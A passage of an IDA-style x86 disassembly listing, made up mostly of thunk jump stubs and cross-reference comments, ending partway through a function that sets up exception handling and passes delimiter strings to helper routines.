sub_401EEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EF1	proc near		; CODE XREF: sub_422640+Ap
		jmp	sub_4227E0
sub_401EF1	endp

; ---------------------------------------------------------------------------
		jmp	loc_41BD50
; ---------------------------------------------------------------------------
		jmp	loc_433BA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F00	proc near		; CODE XREF: ___:00416B0Bp
					; ___:0043B2A4j ...
		jmp	sub_417C20
sub_401F00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F05	proc near		; CODE XREF: sub_40A8F0+13p
		jmp	loc_40AA30
sub_401F05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F0A	proc near		; CODE XREF: sub_41B160:loc_41B1ACp
					; sub_41BA50+54p ...
		jmp	sub_4199A0
sub_401F0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F0F	proc near		; CODE XREF: ___:00414395p
		jmp	sub_415570
sub_401F0F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F14	proc near		; CODE XREF: sub_4157B0+34p
					; sub_4162C0+67p
		jmp	sub_416460
sub_401F14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F19	proc near		; CODE XREF: sub_4153D0+3p
					; ___:00415B4Fp ...
		jmp	sub_415E00
sub_401F19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F1E	proc near
		jmp	sub_412CE0
sub_401F1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F23	proc near		; CODE XREF: sub_4131F0+4Dp
		jmp	sub_415450
sub_401F23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F28	proc near		; CODE XREF: sub_407140+5Cp
					; sub_418F60+3p
		jmp	sub_407360
sub_401F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F2D	proc near		; CODE XREF: ___:00419203p
		jmp	sub_419270
sub_401F2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F32	proc near		; CODE XREF: ___:0040BFFAp
		jmp	sub_40C330
sub_401F32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F37	proc near		; CODE XREF: ___:0042C44Fp
		jmp	sub_42C0A0
sub_401F37	endp

; ---------------------------------------------------------------------------


loc_401F3C:				; DATA XREF: ___:off_43F08Co
		jmp	loc_435B90
; ---------------------------------------------------------------------------


loc_401F41:				; DATA XREF: ___:00424194o
		jmp	loc_423D10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F46	proc near		; CODE XREF: ___:00416B6Bp
					; ___:0043B250j ...
		jmp	sub_417B40
sub_401F46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F4B	proc near		; CODE XREF: sub_413C40+99p
		jmp	sub_413E10
sub_401F4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F50	proc near		; CODE XREF: sub_40B470+3Dp
					; ___:0040BC0Dp ...
		jmp	sub_40B7E0
sub_401F50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F55	proc near		; CODE XREF: ___:loc_423DA7p
		jmp	sub_423820
sub_401F55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F5A	proc near		; CODE XREF: sub_404CC0+A38p
		jmp	sub_4068E0
sub_401F5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F5F	proc near		; DATA XREF: ___:off_43F1A0o
		jmp	sub_42C640
sub_401F5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F64	proc near		; CODE XREF: sub_413A80+72p
		jmp	sub_413740
sub_401F64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F69	proc near		; CODE XREF: sub_418430+5Fp
					; sub_418A40+1Ap ...
		jmp	sub_418AB0
sub_401F69	endp

; ---------------------------------------------------------------------------
		jmp	loc_430290

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F73	proc near		; CODE XREF: sub_42F6F0+B5p
		jmp	sub_42E5B0
sub_401F73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F78	proc near		; CODE XREF: sub_40B600+4Bp
					; sub_40B600:loc_40B68Bp ...
		jmp	sub_40BF20
sub_401F78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F7D	proc near
		jmp	sub_41E500
sub_401F7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F82	proc near		; CODE XREF: sub_40A510+142p
		jmp	sub_40A8F0
sub_401F82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F87	proc near		; CODE XREF: sub_404690+35Dp
					; sub_404690+39Ep
		jmp	sub_404B60
sub_401F87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F8C	proc near		; CODE XREF: sub_415ED0+9p
					; sub_415F70+18p
		jmp	sub_4167D0
sub_401F8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F91	proc near		; CODE XREF: sub_432E20+1Bp
		jmp	sub_432ED0
sub_401F91	endp

; ---------------------------------------------------------------------------
		jmp	loc_42C2C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F9B	proc near		; CODE XREF: sub_427740+1Dp
					; sub_427C90+1Dp ...
		jmp	sub_4277B0
sub_401F9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA0	proc near		; CODE XREF: sub_4290B0+1Dp
					; sub_429450+1Fp ...
		jmp	sub_429120
sub_401FA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA5	proc near		; CODE XREF: ___:0042B063p
		jmp	sub_42B090
sub_401FA5	endp

; ---------------------------------------------------------------------------
		jmp	loc_406C20
; ---------------------------------------------------------------------------
		jmp	loc_40D540

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB4	proc near		; CODE XREF: sub_4096E0+112p
					; sub_4096E0+153p
		jmp	sub_409A20
sub_401FB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB9	proc near		; CODE XREF: sub_422700+5p
		jmp	sub_422870
sub_401FB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FBE	proc near		; CODE XREF: sub_407390+5p
		jmp	sub_407540
sub_401FBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FC3	proc near		; CODE XREF: sub_413740+6Fp
					; sub_413740+DBp ...
		jmp	sub_4153D0
sub_401FC3	endp

; ---------------------------------------------------------------------------
		jmp	loc_42CB20

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FCD	proc near		; CODE XREF: sub_4152E0+6Ap
					; sub_415CE0+32p
		jmp	sub_415C20
sub_401FCD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FD2	proc near
		jmp	sub_40F100
sub_401FD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FD7	proc near		; CODE XREF: sub_412BF0+3p
		jmp	sub_412C20
sub_401FD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FDC	proc near		; CODE XREF: sub_404690+48p
					; sub_404690+5Dp ...
		jmp	sub_409E00
sub_401FDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FE1	proc near		; DATA XREF: ___:off_43F090o
		jmp	sub_419A50
sub_401FE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FE6	proc near		; CODE XREF: sub_41A1E0+3p
					; sub_41B140+9j ...
		jmp	sub_41A210
sub_401FE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FEB	proc near		; CODE XREF: sub_40BD90+34p
					; sub_40C200+67p
		jmp	sub_40C120
sub_401FEB	endp

; ---------------------------------------------------------------------------
		jmp	loc_433980
; ---------------------------------------------------------------------------


loc_401FF5:				; DATA XREF: ___:off_43F094o
		jmp	loc_436570

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FFA	proc near
		jmp	sub_40F180
sub_401FFA	endp

; ---------------------------------------------------------------------------
		jmp	loc_4375F0
; ---------------------------------------------------------------------------


loc_402004:				; DATA XREF: ___:0043F03Co
		jmp	loc_41EEB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402009	proc near		; CODE XREF: sub_41F960+5Ap
		jmp	sub_420040
sub_402009	endp

; ---------------------------------------------------------------------------
		jmp	loc_431670

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402013	proc near		; CODE XREF: ___:00416B2Bp
					; ___:0043B288j ...
		jmp	sub_417C00
sub_402013	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402018	proc near		; CODE XREF: ___:00416E7Fp
		jmp	sub_4131F0
sub_402018	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40201D	proc near		; CODE XREF: sub_421B80+5p
		jmp	sub_422080
sub_40201D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402022	proc near		; CODE XREF: ___:00421754p
		jmp	sub_41C0A0
sub_402022	endp

; ---------------------------------------------------------------------------
off_402027	dd offset byte_4BF4E9	; DATA XREF: ___:off_43F008o
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40202C	proc near		; CODE XREF: sub_404690+2CEp
					; sub_404CC0+46Fp ...
		jmp	sub_40A750
sub_40202C	endp

; ---------------------------------------------------------------------------
		jmp	loc_434410
; ---------------------------------------------------------------------------
		jmp	sub_41B4D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40203B	proc near		; CODE XREF: sub_422470+Ap
		jmp	sub_422750
sub_40203B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402040	proc near		; CODE XREF: sub_404CC0+7E7p
		jmp	sub_41BA50
sub_402040	endp

; ---------------------------------------------------------------------------


loc_402045:				; DATA XREF: ___:off_43F014o
		jmp	loc_40AEC0
; ---------------------------------------------------------------------------


loc_40204A:				; DATA XREF: ___:off_43F088o
		jmp	loc_42D150

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40204F	proc near		; CODE XREF: ___:0040AEC3p
					; ___:0040FFAEp ...
		jmp	sub_40AEF0
sub_40204F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402054	proc near		; CODE XREF: sub_424920+109p
					; sub_424920+178p ...
		jmp	sub_424800
sub_402054	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402059	proc near		; CODE XREF: sub_4099C0+7p
		jmp	sub_409AB0
sub_402059	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40205E	proc near		; CODE XREF: sub_416760+Ap
		jmp	sub_416970
sub_40205E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402063	proc near
		jmp	sub_40CBF0
sub_402063	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402068	proc near		; CODE XREF: ___:004301DBp
					; sub_4310C0+EAp
		jmp	sub_434320
sub_402068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40206D	proc near		; CODE XREF: sub_421A60+5p
					; sub_421B50+6p ...
		jmp	sub_421FF0
sub_40206D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402072	proc near		; CODE XREF: sub_410030+8ADp
					; sub_410030+95Ep ...
		jmp	sub_411A60
sub_402072	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402077	proc near		; CODE XREF: sub_40C120+7p
		jmp	sub_40C310
sub_402077	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40207C	proc near		; CODE XREF: sub_418A40+34p
					; sub_418F90+67p
		jmp	sub_418DA0
sub_40207C	endp

; ---------------------------------------------------------------------------
		jmp	loc_409BF0
; ---------------------------------------------------------------------------


loc_402086:				; DATA XREF: ___:off_43F13Co
		jmp	loc_4292B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40208B	proc near		; CODE XREF: sub_417120+2Bp
					; sub_417120+3Bp ...
		jmp	sub_403F30
sub_40208B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402090	proc near		; CODE XREF: sub_4098B0+14p
		jmp	sub_409910
sub_402090	endp

; ---------------------------------------------------------------------------
		jmp	loc_4332C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40209A	proc near		; CODE XREF: sub_428DC0:loc_428FCBp
		jmp	sub_428CE0
sub_40209A	endp

; ---------------------------------------------------------------------------
		jmp	sub_427940

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A4	proc near		; CODE XREF: sub_418430+4Dp
		jmp	sub_418B70
sub_4020A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A9	proc near		; CODE XREF: sub_415230+5p
					; sub_4153F0+6p ...
		jmp	sub_415DE0
sub_4020A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020AE	proc near		; CODE XREF: sub_427940+3p
		jmp	sub_427970
sub_4020AE	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B1F0
; ---------------------------------------------------------------------------
		jmp	loc_421720

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020BD	proc near		; CODE XREF: ___:00416E4Fp
		jmp	sub_407080
sub_4020BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020C2	proc near		; CODE XREF: sub_413740+83p
					; sub_4145A0+91p ...
		jmp	sub_4153F0
sub_4020C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020C7	proc near		; DATA XREF: ___:0043F054o
		jmp	sub_41F030
sub_4020C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020CC	proc near		; CODE XREF: sub_40AAD0+144p
		jmp	sub_40ADE0
sub_4020CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020D1	proc near		; CODE XREF: sub_431240+BAp
					; sub_433C70+36p
		jmp	sub_433CE0
sub_4020D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020D6	proc near		; CODE XREF: sub_421EF0+23p
					; sub_422340+11p
		jmp	sub_4224E0
sub_4020D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020DB	proc near		; CODE XREF: sub_4221E0+4p
		jmp	sub_4225F0
sub_4020DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020E0	proc near		; CODE XREF: sub_42BB00+3BBp
		jmp	sub_42B730
sub_4020E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020E5	proc near		; CODE XREF: ___:0041A312p
		jmp	sub_41A3B0
sub_4020E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020EA	proc near		; CODE XREF: sub_416860+Ap
		jmp	sub_4169C0
sub_4020EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020EF	proc near		; DATA XREF: ___:off_43F18Co
		jmp	sub_42C5C0
sub_4020EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020F4	proc near		; CODE XREF: sub_415D70+4p
		jmp	sub_416590
sub_4020F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020F9	proc near		; CODE XREF: ___:004307A6p
					; ___:00430808p ...
		jmp	sub_434AD0
sub_4020F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020FE	proc near		; CODE XREF: sub_418E20+8p
		jmp	sub_4190C0
sub_4020FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402103	proc near		; CODE XREF: sub_418990+34p
					; sub_418E80+67p
		jmp	sub_418CA0
sub_402103	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402108	proc near		; CODE XREF: sub_41A7D0+117p
		jmp	sub_41A960
sub_402108	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40210D	proc near		; CODE XREF: sub_415BA0+35p
		jmp	sub_416670
sub_40210D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402112	proc near		; CODE XREF: sub_404CC0+459p
					; sub_406730+43p ...
		jmp	sub_409CA0
sub_402112	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402117	proc near		; CODE XREF: sub_40BE00+5p
					; sub_40BF40+6p ...
		jmp	sub_40C140
sub_402117	endp

; ---------------------------------------------------------------------------
		jmp	loc_4308A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402121	proc near		; CODE XREF: ___:00416F7Ap
		jmp	sub_4191B0
sub_402121	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402126	proc near		; CODE XREF: ___:0042AD23p
		jmp	sub_42AD50
sub_402126	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40212B	proc near		; CODE XREF: sub_410030+F3Dp
					; sub_410030+1392p ...
		jmp	sub_4148A0
sub_40212B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402130	proc near		; CODE XREF: sub_413A80+38p
					; sub_413E70+5Fp
		jmp	sub_4135E0
sub_402130	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402135	proc near		; CODE XREF: sub_40A210+14p
					; sub_40A240+7p ...
		jmp	sub_40A260
sub_402135	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40213A	proc near		; CODE XREF: sub_42B440+157p
		jmp	sub_42AFF0
sub_40213A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40213F	proc near		; CODE XREF: sub_40ACC0+1Ap
					; sub_40AD10+1Ap
		jmp	sub_40AD80
sub_40213F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402144	proc near		; CODE XREF: sub_4156F0+3p
					; ___:00415F1Fp ...
		jmp	sub_416150
sub_402144	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402149	proc near		; DATA XREF: ___:0043F02Co
		jmp	sub_410030
sub_402149	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40214E	proc near		; CODE XREF: sub_4148A0+EDp
		jmp	sub_415920
sub_40214E	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B490

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402158	proc near		; CODE XREF: sub_40BF00+3p
		jmp	sub_40C180
sub_402158	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40215D	proc near		; CODE XREF: sub_40BFA0+11p
					; ___:0040BFC7p ...
		jmp	sub_40C2C0
sub_40215D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402162	proc near		; CODE XREF: sub_41E760+2C5p
		jmp	sub_4208E0
sub_402162	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402167	proc near		; CODE XREF: sub_41D930+64Fp
		jmp	sub_41C170
sub_402167	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40216C	proc near		; CODE XREF: sub_418CC0+32p
		jmp	sub_418F90
sub_40216C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402171	proc near		; CODE XREF: sub_40ED00+ACp
					; ___:0040F42Dp
		jmp	sub_40EE40
sub_402171	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402176	proc near		; CODE XREF: sub_4138B0+93p
		jmp	sub_434D10
sub_402176	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40217B	proc near		; CODE XREF: sub_4152A0+1Fp
					; sub_415BA0+2Cp
		jmp	sub_415B00
sub_40217B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402180	proc near		; CODE XREF: ___:0042670Dp
		jmp	sub_4266D0
sub_402180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402185	proc near		; CODE XREF: sub_420630+17Dp
		jmp	sub_421AD0
sub_402185	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40218A	proc near		; CODE XREF: ___:0042D551p
		jmp	sub_42B380
sub_40218A	endp

; ---------------------------------------------------------------------------


loc_40218F:				; DATA XREF: ___:off_43F010o
		jmp	loc_409BF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402194	proc near		; CODE XREF: sub_40AAD0+6Ap
					; sub_40AAD0+103p
		jmp	sub_40AD10
sub_402194	endp

; ---------------------------------------------------------------------------
		jmp	loc_426280
; ---------------------------------------------------------------------------
		jmp	loc_427910
; ---------------------------------------------------------------------------
		jmp	loc_41AD00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021A8	proc near		; CODE XREF: sub_407270+14p
					; sub_4072B0+9p ...
		jmp	sub_407510
sub_4021A8	endp

; ---------------------------------------------------------------------------
		jmp	loc_416DE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021B2	proc near		; CODE XREF: sub_40B0E0+1Bp
		jmp	sub_433DC0
sub_4021B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021B7	proc near		; CODE XREF: ___:00415B5Ap
		jmp	sub_4165E0
sub_4021B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021BC	proc near		; CODE XREF: sub_4309A0+ABp
					; sub_431980+1Bp ...
		jmp	sub_4319F0
sub_4021BC	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FD80

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021C6	proc near		; CODE XREF: ___:00408773p
					; ___:00408795p ...
		jmp	sub_4199C0
sub_4021C6	endp

; ---------------------------------------------------------------------------
		jmp	loc_42DA00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021D0	proc near		; CODE XREF: sub_40B600+55p
		jmp	sub_40A0B0
sub_4021D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021D5	proc near		; DATA XREF: ___:off_43F14Co
		jmp	sub_429510
sub_4021D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021DA	proc near		; CODE XREF: sub_421BF0+34p
					; sub_422510+67p
		jmp	sub_422230
sub_4021DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021DF	proc near		; CODE XREF: sub_407140+2Cp
					; sub_407140+68p ...
		jmp	sub_4072B0
sub_4021DF	endp

; ---------------------------------------------------------------------------
		jmp	loc_4346E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021E9	proc near		; CODE XREF: sub_41C710+1B3p
					; sub_41C710+332p ...
		jmp	sub_41D770
sub_4021E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021EE	proc near		; CODE XREF: sub_40BD50+11p
					; sub_40BFA0+1Fp
		jmp	sub_40C0D0
sub_4021EE	endp

; ---------------------------------------------------------------------------
		jmp	loc_4308E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021F8	proc near		; CODE XREF: sub_4246D0+1Ap
					; sub_4247B0+1Bp ...
		jmp	sub_424500
sub_4021F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021FD	proc near		; CODE XREF: ___:00416ABBp
		jmp	sub_418A40
sub_4021FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402202	proc near
		jmp	sub_42CE60
sub_402202	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FF70
; ---------------------------------------------------------------------------
		jmp	loc_430100

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402211	proc near		; CODE XREF: sub_434450+1Bp
		jmp	sub_4344C0
sub_402211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402216	proc near		; CODE XREF: sub_42F6F0+101p
		jmp	sub_42F040
sub_402216	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40221B	proc near		; DATA XREF: ___:off_43F00Co
		jmp	sub_407210
sub_40221B	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F5C0
; ---------------------------------------------------------------------------
		jmp	locret_418940

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40222A	proc near		; CODE XREF: sub_403720+25p
					; sub_403720+35p ...
		jmp	sub_403CE0
sub_40222A	endp

; ---------------------------------------------------------------------------
		jmp	loc_4343F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402234	proc near		; CODE XREF: sub_418430+88p
					; sub_418430+98p
		jmp	sub_418B90
sub_402234	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402239	proc near		; CODE XREF: ___:00416BBBp
					; ___:0043B20Aj ...
		jmp	sub_417870
sub_402239	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40223E	proc near		; CODE XREF: sub_418BE0+5p
		jmp	sub_418E50
sub_40223E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402243	proc near		; CODE XREF: sub_414710+3p
		jmp	sub_414740
sub_402243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402248	proc near		; CODE XREF: ___:004305EBp
					; ___:00430F17p ...
		jmp	sub_431DC0
sub_402248	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40224D	proc near		; DATA XREF: ___:off_43F11Co
		jmp	sub_4288F0
sub_40224D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402252	proc near		; CODE XREF: sub_430B30+102p
					; sub_432A20+5Dp ...
		jmp	sub_431B00
sub_402252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402257	proc near		; CODE XREF: sub_4135E0+5Cp
					; sub_4135E0+C0p ...
		jmp	sub_415540
sub_402257	endp

; ---------------------------------------------------------------------------
		jmp	loc_432700
; ---------------------------------------------------------------------------
		jmp	loc_430460

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402266	proc near		; CODE XREF: sub_41D930+203p
		jmp	sub_42E3C0
sub_402266	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40226B	proc near		; CODE XREF: sub_42F6F0+148p
					; sub_42F6F0+173p
		jmp	sub_42EF60
sub_40226B	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F490

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402275	proc near		; CODE XREF: sub_4134A0+34p
					; sub_4148A0+40p
		jmp	sub_4159F0
sub_402275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40227A	proc near		; CODE XREF: sub_40CC90+1A4p
					; sub_40D040+ADp
		jmp	sub_40D040
sub_40227A	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F510

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402284	proc near		; CODE XREF: sub_422B40+938p
		jmp	loc_424080
sub_402284	endp

; ---------------------------------------------------------------------------
		jmp	loc_419B90
; ---------------------------------------------------------------------------


loc_40228E:				; CODE XREF: ___:00439FE6j
		jmp	loc_40CFC0
; ---------------------------------------------------------------------------
		db 129Dh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403530	proc near		; CODE XREF: sub_4019C4j

var_46C		= dword	ptr -46Ch
var_468		= byte ptr -468h
var_450		= byte ptr -450h
var_438		= byte ptr -438h
var_420		= byte ptr -420h
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_403530
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 460h
		mov	eax, [esp+46Ch+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+478h+var_408], eax
		mov	eax, [esp+478h+arg_8]
		xor	edi, edi
		mov	esi, 1
		cmp	eax, edi
		mov	[esp+478h+var_46C], edi
		jz	short loc_403589
		lea	edx, [esp+478h+arg_8]
		lea	ecx, [esp+478h+var_404]


loc_40357A:				; CODE XREF: sub_403530+57j
		add	edx, 4
		mov	[ecx], eax
		inc	esi
		add	ecx, 4
		mov	eax, [edx]
		cmp	eax, edi
		jnz	short loc_40357A


loc_403589:				; CODE XREF: sub_403530+3Dj
		lea	ecx, [esp+478h+var_468]
		mov	[esp+esi*4+478h+var_408], edi
		call	sub_40142E
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+47Ch+var_438]
		mov	[esp+47Ch+var_4], 1
		call	sub_401870
		push	offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"...
		lea	ecx, [esp+47Ch+var_468]
		mov	byte ptr [esp+47Ch+var_4], 2
		call	sub_401A9B
		push	offset byte_448F30
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401870
